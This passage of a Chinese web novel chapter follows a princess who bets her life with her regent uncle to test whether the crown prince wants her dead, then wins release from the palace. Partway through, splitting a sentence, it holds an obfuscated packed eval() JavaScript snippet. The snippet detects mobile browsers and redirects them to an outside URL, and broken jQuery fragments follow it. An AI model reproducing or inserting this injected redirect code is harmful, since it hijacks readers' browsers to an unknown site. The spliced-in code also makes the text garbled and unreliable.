宋明臣看了她一会儿,慢悠悠道:“哦?说说看,为何是太子?”
“我碍不着您什么,若真碍着了叔王要杀我也早便杀了,不必等到今日。却把我关在那儿不闻不问,又让宫人送饭又故意说那些话给我听的,我猜叔王是在等。”
“等什么?”
“等我太子哥哥来救我。”
宋明臣淡淡瞥她一眼。
宋文楚:“可太子哥哥一直没来,叔王也等得不耐烦了,这才添把火让人送我上路。可说到底,皇叔也不是非要杀我不可,只是想看看太子哥哥会不会来。”
宋明臣不置可否,他的沉默让宋文楚心里有点没底。
猜错了?
宋文楚勾住袖口边沿手指来回卷着,脑中极速地思考着该如何补救。
半晌。
宋明臣嘴角动了动,像是笑:“你这脑子倒比你父皇强些。”
幸好,没有猜错。
宋文楚悄悄吐出口憋在心里的浊气,赶紧趁热打铁道。
“叔王,我想跟您打个赌。”
宋明臣:“打赌?你一个快死的人,拿什么跟本王赌?”
“拿命赌。您现在派人去东宫,告诉我太子哥哥,就说我已经死了。”
宋明臣没吭声,只看着她,听着她稚嫩的嗓音说着视死如归的话。
“若是他听了没什么动静,连来都不来一趟,那便是他巴不得我死。真正要杀我的人是他,不是叔王你。那我认了,那杯酒我自己喝,干干脆脆地上路,不用叔王费心。”
宋明臣悠闲自适把完起那只青瓷杯,等着她往下说。
“若是他听了立马赶来,那便说明他在意我的死活。他在意,就不是他想杀我。不是他想杀我,那叔王你又何必非要杀我?”
她说到这儿,眼眶有些发热,又尽力抑住心中酸楚,而后道出真正目的:
“叔王若本就不想杀我,便放我走。我不要公主的身份,不要荣华富贵,只要出宫去,当个平民百姓。往后天高水远,我宋文楚此生再不入宫门。”
话落,殿里静了片刻。
宋明臣看她的目光里面多了些东西,像是琢磨,又像是别的什么。
“你这赌,”他慢悠悠道,“倒是有几分意思。”
“可你有没有想过,若是太子听见你死了急着要来看,可看不着,那又如何?能证明他心里有你?”
“他来看了,知道你没死,然后呢?你是能活,还是不能活?”总归还是个孩子,想到哪处说到哪处。
宋明臣这席话叫宋文楚一愣。
她情急之下只顾活命想着要赌,倒真没细想这一层。
“不过,你这赌约倒也不是全无道理。”宋明臣闭上眼捏了捏鼻梁,看折子看得久了眼睛有些酸涩,“他若真急着来看,说明他确实并不知情也没想让你死。他若不来看,说明他知道或者默许。”
“你想赌的,是这个罢?”
宋文楚拼命点头。
没错没错,只要起了个头,自有大王为她辩经。
“宋文楚,”他开口,说不清的意味深长,“你倒是敢赌。”
宋文楚才不管这是夸她还是损她,梗着脖子道:“横竖都是死,赌赌也不亏。”
“你若输了,真喝那盏酒?”
宋文楚又点点头。
“你若赢了呢?”宋明臣问,“出了宫,去哪儿?吃什么?花什么?你一个人活得了么?”
这些问题诚然都是问题,可对于当下来讲并非那么要紧,她是顾不上的。
天大地大,离了公主的身份,她就不信能活不下去了。
她自不愿露怯,直视宋明臣眼睛,一脸坦然自若:“活得了。只要有条命在,怎么着都能活,再不济要饭去反正比死了强。”
宋明臣又笑了,这回笑得真切些,眼角都弯了弯。
洪财喜在一旁瞧着,心下泛起嘀咕——王爷多久没这么笑过了?上回笑是什么时候?他愣是想不起来。
“有意思。”宋明臣说,“真有意思。”
他示意洪财喜:“去东宫走一趟,就说文楚公主没了,问太子可要来瞧瞧。”
洪财喜应了声,退了出去。
宋文楚跪在那儿,心里七上八下的。刚刚说得那么潇洒豪迈,也掩盖不了她的惶恐,甚至她到现在仍不敢置信自己是真的闯进了垂拱殿偏殿,还和宋明臣打上赌了。
她害怕眼前一切只是临死前的幻梦一场,而真实的宋文楚已经被一杯毒鸩药倒走在了寂寥的黄泉路上。
门开了又关上,带进来一阵冷风。宋文楚打了个哆嗦,抱怨着宋明臣真没眼力见儿怎的还不让她起,地上又冷又磕人,给她膝盖都跪得麻了。
“起来罢,地上凉。”宋明臣忽然出声。
宋文楚抖了一下,疑心宋明臣能听到她心声,连忙将脑中所想统统驱走,撑着地爬起来,腿都软了晃了两晃才站稳。
宋明臣指了指旁边的杌子:“坐。”
宋文楚别扭地提着两条不听使唤的腿慢吞吞挪过去,挨着门边的一把椅子坐下来,挨了半边屁股,像是随时准备弹起来。宋明臣注意到她的坐姿,不免觉得好笑。
殿内炭火烧得很旺,暖烘烘的热气扑在脸上,宋文楚的脸被熏得彤红。这一暖和,眼皮又开始耷拉,心也不警惕了,命也不要紧了,只想痛快睡倒。她使劲瞪着眼睛又掐一掐手心,不住提醒自己别睡着。
可不敢睡,就怕一觉醒来酒已经灌嘴里了。
她想着,开始环顾四周转移注意力。
宋明臣也不管她,觉着眼睛缓过来了些,便自顾自继续看折子。
她觑着眼打量宋明臣。
炭火暖,烛光黄,他坐在那一片光晕里周身似披了层昏黄的霞衣。
她又想起父皇。
父皇还好着的时候,这殿里是不是也这样?父皇坐在这儿批折子,宋明臣坐在哪儿?站着还是坐着?他们兄弟俩说话么?说什么呢?
她正看得出神,宋明臣忽然抬起头来。
四目相对。
宋文楚尴尬一笑,冲他摆摆手,表示自己只是随意看看。
然后撇过脑袋接着思考人生,想着想着视线又模糊了。
也不知过了多久,外头响起了急促的脚步声。
宋文楚还未从昏昏欲睡的状态中调整过来,动作慢一拍地望去门外。
门被推开冷风灌进来,宋文楚一个激灵醒过来,差点从杌子上栽下去。
进来的人一身玄色袍服,身形颀长。肩头沾了夜里降的霜,发髻松散,垂下几缕碎发贴在耳边,像是从床上爬起来套上衣裳就往外跑一样。
他手里还攥着一团灰扑扑的东西——
宋展翅。
宋文楚差点叫出声来,本能地心疼宋展翅。
这是她亲手养大的的小东西,每天揣在怀里暖着,拿自己口粮喂着,这会儿却被太子粗鲁地攥在手心,扑腾都扑腾不开,宋文楚瞧得很窝心。
很快宋文楚察觉到异样。
他来得太快了。
从东宫到这儿,去一趟少说也得二刻钟,可她才坐了没多久他就到了。
宋文楚心里已经有了答案。
宋清让一进门,看到好端端坐在那儿的宋文楚,面上的担忧总算落回肚里。
“文楚!”他说,声音温润轻和,“你没事就好。我接到消息的时候都吓坏了,赶紧过来看看。”
他说得自然关切,仿佛真的刚听说似的。
宋文楚垂下眼,说了声“太子哥哥,我无碍”而后期期艾艾盯着他的手,宋清让没懂她意思也没再管她,转头看向案后的宋明臣。
宋明臣靠在椅背上,洪财喜上前为他续了茶。宋明臣吹着水面茶沫,见宋清让看过来,点了点头:“太子来了。”
宋清让脸上的急切神色收了收,换上恭敬:“叔王。”
宋明臣嗯了一声,目光自然落在他手里的宋展翅上:“太子手里拿的什么?”
宋清让这才想是反应过来一般,把宋展翅递给宋文楚:“这小东西飞到东宫来,我瞧着像是从你殿里飞出的。正想抽空给你送回去,就听见……”
他没说下去,只摇了摇头。
宋文楚不想听他扯这些冠冕堂皇的话篇,一句话没回直接伸手去接,宋展翅一落到她掌心便往她怀里钻,咻咻叫个不停,翅膀抖得厉害。
她摸着它的绒毛,眼里尽是失而复得的喜悦,回到了心安之处宋展翅又歪头看她。
宋展
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279016|198335||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翅在她手里的时候,总是昂着头精神抖擞的,翅膀扑棱个不停。可这会儿经过宋清让手上摧残,脑袋上的毛像是掉了几根,翅膀也软趴趴垂着,只有眼睛还亮亮的。
宋展翅在说:我找到他了,我做到了。
好展翅,你真棒。
宋明臣看到了那只鲲。
他派人送去给宋文楚的时候,特意挑了只最干净的,这玩意儿刚断气没多久,瞧着不那么吓人。
如今这东西又出现在他眼前。
被宋清让攥在手里,递到她怀里。
宋明臣手中茶盏放下,掀起眼皮漫不经心道:“太子殿下好快的腿脚,从东宫到这儿来回寻常得走半个时辰。殿下一炷香工夫就到了——这是飞来的?”
宋清让站在门口,脸上看不出什么表情。
“侄儿听说文楚出了事,心里着急便赶过来了,叔王莫怪。”
“不怪,年轻人是该有点急劲儿,太子关心妹妹是好事。”
宋明臣语气一转。
“可本王有句话想问问殿下,殿下便是再快的脚力,这报信的人才刚出门殿下后脚就到了。算算时辰,约摸是在半道上碰见的?还是殿下就守在垂拱殿附近呢?”
这话说得平平常常,却令宋清让脸上的笑一僵。
他转向宋文楚,眼底的光忽明忽灭。
“文楚,你这赌,算是赢了还是输了?”
宋文楚不知如何作答。
赌赢了?太子哥哥来了,他在意她的死活,那便不是他想杀她。
可她心中并没有赢的喜悦。
宋清让看看宋明臣,又看看宋文楚,眉头微微一皱:“什么赌?”
没人答他。
宋明臣站起身,走到宋文楚跟前,居高临下视她。
然后叹了口气。
那声叹很轻,却让宋文楚的心一颤,生怕他改变主意。
“宋文楚,你方才说赢了就放你出宫,当个平民百姓?”
宋文楚点点头。
宋明臣字字清晰。
“好。大梁公主宋文楚,今日殁了。玉牒除名,宗庙撤牌,从今往后世上再没有这个人。”
宋清让满脸惊愕。
“叔王,这……这是何意?”
“太子不是听见了?文楚公主今夜没了。”
宋清让嘴唇动了动,悲恸得说不出话来,看向宋文楚的眼里满是心疼与不忍。
宋文楚听懂了。
她活下来了。她松了口气,又怅然若失。
“谢叔王不杀之恩。”她的头磕下去,碰在厚毡上碰出闷闷的声响。
宋明臣叫她起来。
“先别忙着谢。活是给你活了,可怎么个活法,那是你自己的事。大梁公主的位份、俸禄、体面,你一样也带不走。出了这道门你什么都不是,是死是活全凭你自己的命。”
宋文楚点头:“我明白。”
“明白就好。既是出宫,总得有个出宫的法子。财喜——”
洪财喜应声上前。
“后头那辆粪车,可走了?”
宋文楚脑子里嗡的一声。
宋清让抬眼看宋文楚。
洪财喜也愣了一下,小心回道:“回王爷,还……还不曾,正候着出宫呢。”
“公主自然有公主的銮驾仪仗。”宋明臣说,“可你已经不是公主了。一个什么都不是的人,坐什么不是坐?粪车也是车,能出宫门就是好车。”
宫里那粪车都是专拣没人的时候从后门走,赶车的太监都低着头生怕叫人瞧见。宫人们提起来,全是捂住鼻子笑着说的。那味儿,隔二里地都能闻见,谁沾上都得恶心一整天。
如今她要坐那玩意儿出宫?
宋展翅从她怀里探出脑袋,咻了一声,像是也在问:真的假的?
这位临王,连给人条生路都要给得如此腌臜。
怕了罢?文楚,怕了罢?怕了就好,怕了就知道求人了。
宋清让的目光越发温柔。
文楚回头。文楚看看我。文楚唤我一声“太子哥哥”。
他在心里默默地念:只若她害怕,只若她绝望,只若她在最后一刻回过头来,用那双湿漉漉的眼睛望着自己,喊一声“太子哥哥帮我”。